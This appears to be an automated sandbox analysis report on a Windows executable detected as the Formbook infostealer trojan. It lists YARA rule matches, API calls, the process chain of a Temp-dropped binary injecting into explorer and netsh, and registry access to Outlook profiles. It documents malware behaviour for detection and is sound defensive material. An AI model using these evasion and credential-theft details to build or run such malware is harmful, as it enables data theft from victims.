Source: Yara match	File source: 00000005.00000002.559931003.00000000010D0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000000.369567476.000000000E3B5000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.393032745.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000000.347863799.000000000E3B5000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

System Summary

Malicious sample detected (through community Yara rule)

Source: 2.2.febcldoukq.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 2.2.febcldoukq.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 2.2.febcldoukq.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 2.2.febcldoukq.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 2.2.febcldoukq.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 2.2.febcldoukq.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000005.00000002.555011698.00000000007D0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000005.00000002.555011698.00000000007D0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000005.00000002.555011698.00000000007D0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000005.00000002.561579336.0000000001100000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000005.00000002.561579336.0000000001100000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000005.00000002.561579336.0000000001100000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000002.00000002.395778723.0000000000F00000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000002.00000002.395778723.0000000000F00000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000002.00000002.395778723.0000000000F00000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000002.00000002.393576373.0000000000B80000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000002.00000002.393576373.0000000000B80000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000002.00000002.393576373.0000000000B80000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000005.00000002.559931003.00000000010D0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000005.00000002.559931003.00000000010D0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000005.00000002.559931003.00000000010D0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000003.00000000.369567476.000000000E3B5000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000003.00000000.369567476.000000000E3B5000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000003.00000000.369567476.000000000E3B5000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000002.00000002.393032745.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000002.00000002.393032745.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000002.00000002.393032745.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000003.00000000.347863799.000000000E3B5000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000003.00000000.347863799.000000000E3B5000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000003.00000000.347863799.000000000E3B5000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: Process Memory Space: febcldoukq.exe PID: 5828, type: MEMORYSTR	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: Process Memory Space: netsh.exe PID: 5920, type: MEMORYSTR	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown

Source: qHpeBvr9cR.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: 2.2.febcldoukq.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 2.2.febcldoukq.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 2.2.febcldoukq.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 2.2.febcldoukq.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 2.2.febcldoukq.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 2.2.febcldoukq.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000005.00000002.555011698.00000000007D0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000005.00000002.555011698.00000000007D0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000005.00000002.555011698.00000000007D0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000005.00000002.561579336.0000000001100000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000005.00000002.561579336.0000000001100000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000005.00000002.561579336.0000000001100000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000002.00000002.395778723.0000000000F00000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000002.00000002.395778723.0000000000F00000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000002.00000002.395778723.0000000000F00000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000002.00000002.393576373.0000000000B80000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000002.00000002.393576373.0000000000B80000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000002.00000002.393576373.0000000000B80000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000005.00000002.559931003.00000000010D0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000005.00000002.559931003.00000000010D0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000005.00000002.559931003.00000000010D0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000003.00000000.369567476.000000000E3B5000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000003.00000000.369567476.000000000E3B5000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000003.00000000.369567476.000000000E3B5000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000002.00000002.393032745.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000002.00000002.393032745.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000002.00000002.393032745.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000003.00000000.347863799.000000000E3B5000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000003.00000000.347863799.000000000E3B5000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000003.00000000.347863799.000000000E3B5000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: Process Memory Space: febcldoukq.exe PID: 5828, type: MEMORYSTR	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: Process Memory Space: netsh.exe PID: 5920, type: MEMORYSTR	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23

Source: C:\Users\user\Desktop\qHpeBvr9cR.exe

Code function: 0_2_0040324F EntryPoint,SetErrorMode,GetVersion,#17,OleInitialize,SHGetFileInfoA,GetCommandLineA,GetModuleHandleA,CharNextA,GetTempPathA,GetWindowsDirectoryA,lstrcatA,DeleteFileA,ExitProcess,OleUninitialize,ExitProcess,lstrcatA,lstrcatA,lstrcatA,lstrcmpiA,SetCurrentDirectoryA,DeleteFileA,CopyFileA,CloseHandle,GetCurrentProcess,ExitWindowsEx,ExitProcess,

0_2_0040324F

Source: C:\Users\user\Desktop\qHpeBvr9cR.exe	Code function: 0_2_00406333	0_2_00406333
Source: C:\Users\user\Desktop\qHpeBvr9cR.exe	Code function: 0_2_00404936	0_2_00404936
Source: C:\Users\user\AppData\Local\Temp\febcldoukq.exe	Code function: 1_2_00B2A9AA	1_2_00B2A9AA
Source: C:\Users\user\AppData\Local\Temp\febcldoukq.exe	Code function: 1_2_00B134E0	1_2_00B134E0
Source: C:\Users\user\AppData\Local\Temp\febcldoukq.exe	Code function: 1_2_00B1C4C0	1_2_00B1C4C0
Source: C:\Users\user\AppData\Local\Temp\febcldoukq.exe	Code function: 1_2_00B18E70	1_2_00B18E70
Source: C:\Users\user\AppData\Local\Temp\febcldoukq.exe	Code function: 2_2_004012B0	2_2_004012B0
Source: C:\Users\user\AppData\Local\Temp\febcldoukq.exe	Code function: 2_2_0042193D	2_2_0042193D
Source: C:\Users\user\AppData\Local\Temp\febcldoukq.exe	Code function: 2_2_00421284	2_2_00421284
Source: C:\Users\user\AppData\Local\Temp\febcldoukq.exe	Code function: 2_2_004012A4	2_2_004012A4
Source: C:\Users\user\AppData\Local\Temp\febcldoukq.exe	Code function: 2_2_0040B453	2_2_0040B453
Source: C:\Users\user\AppData\Local\Temp\febcldoukq.exe	Code function: 2_2_0040B457	2_2_0040B457
Source: C:\Users\user\AppData\Local\Temp\febcldoukq.exe	Code function: 2_2_00422429	2_2_00422429
Source: C:\Users\user\AppData\Local\Temp\febcldoukq.exe	Code function: 2_2_004044C7	2_2_004044C7
Source: C:\Users\user\AppData\Local\Temp\febcldoukq.exe	Code function: 2_2_004044BE	2_2_004044BE
Source: C:\Users\user\AppData\Local\Temp\febcldoukq.exe	Code function: 2_2_004046E7	2_2_004046E7
Source: C:\Users\user\AppData\Local\Temp\febcldoukq.exe	Code function: 2_2_0040FE87	2_2_0040FE87
Source: C:\Users\user\AppData\Local\Temp\febcldoukq.exe	Code function: 2_2_00B2A9AA	2_2_00B2A9AA
Source: C:\Users\user\AppData\Local\Temp\febcldoukq.exe	Code function: 2_2_00B134E0	2_2_00B134E0
Source: C:\Users\user\AppData\Local\Temp\febcldoukq.exe	Code function: 2_2_00B1C4C0	2_2_00B1C4C0
Source: C:\Users\user\AppData\Local\Temp\febcldoukq.exe	Code function: 2_2_00B18E70	2_2_00B18E70

Source: C:\Users\user\AppData\Local\Temp\febcldoukq.exe	Code function: String function: 00B1D900 appears 64 times
Source: C:\Users\user\AppData\Local\Temp\febcldoukq.exe	Code function: String function: 00B22574 appears 36 times

Source: C:\Users\user\AppData\Local\Temp\febcldoukq.exe	Code function: 2_2_0041E087 NtAllocateVirtualMemory,	2_2_0041E087
Source: C:\Users\user\AppData\Local\Temp\febcldoukq.exe	Code function: 2_2_004012B0 EntryPoint,NtProtectVirtualMemory,	2_2_004012B0
Source: C:\Users\user\AppData\Local\Temp\febcldoukq.exe	Code function: 2_2_0041DEA7 NtCreateFile,	2_2_0041DEA7
Source: C:\Users\user\AppData\Local\Temp\febcldoukq.exe	Code function: 2_2_0041DF57 NtReadFile,	2_2_0041DF57
Source: C:\Users\user\AppData\Local\Temp\febcldoukq.exe	Code function: 2_2_0041DFD7 NtClose,	2_2_0041DFD7
Source: C:\Users\user\AppData\Local\Temp\febcldoukq.exe	Code function: 2_2_0041E081 NtAllocateVirtualMemory,	2_2_0041E081
Source: C:\Users\user\AppData\Local\Temp\febcldoukq.exe	Code function: 2_2_004012A4 EntryPoint,NtProtectVirtualMemory,	2_2_004012A4
Source: C:\Users\user\AppData\Local\Temp\febcldoukq.exe	Code function: 2_2_004014E9 NtProtectVirtualMemory,	2_2_004014E9
Source: C:\Users\user\AppData\Local\Temp\febcldoukq.exe	Code function: 2_2_0041DF52 NtReadFile,	2_2_0041DF52
Source: C:\Users\user\AppData\Local\Temp\febcldoukq.exe	Code function: 2_2_0041DFD2 NtClose,	2_2_0041DFD2

Source: qHpeBvr9cR.exe	ReversingLabs: Detection: 41%
Source: qHpeBvr9cR.exe	Virustotal: Detection: 36%

Source: C:\Users\user\Desktop\qHpeBvr9cR.exe

File read: C:\Users\user\Desktop\qHpeBvr9cR.exe

Jump to behavior

Source: qHpeBvr9cR.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\qHpeBvr9cR.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\qHpeBvr9cR.exe C:\Users\user\Desktop\qHpeBvr9cR.exe
Source: C:\Users\user\Desktop\qHpeBvr9cR.exe	Process created: C:\Users\user\AppData\Local\Temp\febcldoukq.exe "C:\Users\user\AppData\Local\Temp\febcldoukq.exe" C:\Users\user\AppData\Local\Temp\uebzn.cef
Source: C:\Users\user\AppData\Local\Temp\febcldoukq.exe	Process created: C:\Users\user\AppData\Local\Temp\febcldoukq.exe "C:\Users\user\AppData\Local\Temp\febcldoukq.exe" C:\Users\user\AppData\Local\Temp\uebzn.cef
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\autochk.exe C:\Windows\SysWOW64\autochk.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\netsh.exe C:\Windows\SysWOW64\netsh.exe
Source: C:\Users\user\Desktop\qHpeBvr9cR.exe	Process created: C:\Users\user\AppData\Local\Temp\febcldoukq.exe "C:\Users\user\AppData\Local\Temp\febcldoukq.exe" C:\Users\user\AppData\Local\Temp\uebzn.cef	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\febcldoukq.exe	Process created: C:\Users\user\AppData\Local\Temp\febcldoukq.exe "C:\Users\user\AppData\Local\Temp\febcldoukq.exe" C:\Users\user\AppData\Local\Temp\uebzn.cef	Jump to behavior

Source: C:\Users\user\Desktop\qHpeBvr9cR.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\qHpeBvr9cR.exe

File created: C:\Users\user\AppData\Local\Temp\nsx95CB.tmp

Jump to behavior

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@7/5@7/4

Source: C:\Users\user\Desktop\qHpeBvr9cR.exe

Code function: 0_2_00402036 CoCreateInstance,MultiByteToWideChar,

0_2_00402036

Source: C:\Users\user\Desktop\qHpeBvr9cR.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\qHpeBvr9cR.exe

Code function: 0_2_004043F5 GetDlgItem,SetWindowTextA,SHBrowseForFolderA,CoTaskMemFree,lstrcmpiA,lstrcatA,SetDlgItemTextA,GetDiskFreeSpaceA,MulDiv,SetDlgItemTextA,

0_2_004043F5

Source: C:\Users\user\AppData\Local\Temp\febcldoukq.exe	Command line argument: --headless	1_2_00B118D0
Source: C:\Users\user\AppData\Local\Temp\febcldoukq.exe	Command line argument: --unix	1_2_00B118D0
Source: C:\Users\user\AppData\Local\Temp\febcldoukq.exe	Command line argument: --width	1_2_00B118D0
Source: C:\Users\user\AppData\Local\Temp\febcldoukq.exe	Command line argument: --height	1_2_00B118D0
Source: C:\Users\user\AppData\Local\Temp\febcldoukq.exe	Command line argument: --signal	1_2_00B118D0
Source: C:\Users\user\AppData\Local\Temp\febcldoukq.exe	Command line argument: --server	1_2_00B118D0
Source: C:\Users\user\AppData\Local\Temp\febcldoukq.exe	Command line argument: --headless	2_2_00B118D0
Source: C:\Users\user\AppData\Local\Temp\febcldoukq.exe	Command line argument: --unix	2_2_00B118D0
Source: C:\Users\user\AppData\Local\Temp\febcldoukq.exe	Command line argument: --width	2_2_00B118D0
Source: C:\Users\user\AppData\Local\Temp\febcldoukq.exe	Command line argument: --height	2_2_00B118D0
Source: C:\Users\user\AppData\Local\Temp\febcldoukq.exe	Command line argument: --signal	2_2_00B118D0
Source: C:\Users\user\AppData\Local\Temp\febcldoukq.exe	Command line argument: --server	2_2_00B118D0

Source: C:\Windows\explorer.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Windows\explorer.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior

Source: C:\Windows\SysWOW64\netsh.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\

Jump to behavior

Source:	Binary string: netsh.pdb source: febcldoukq.exe, 00000002.00000002.402996067.0000000002F70000.00000040.10000000.00040000.00000000.sdmp
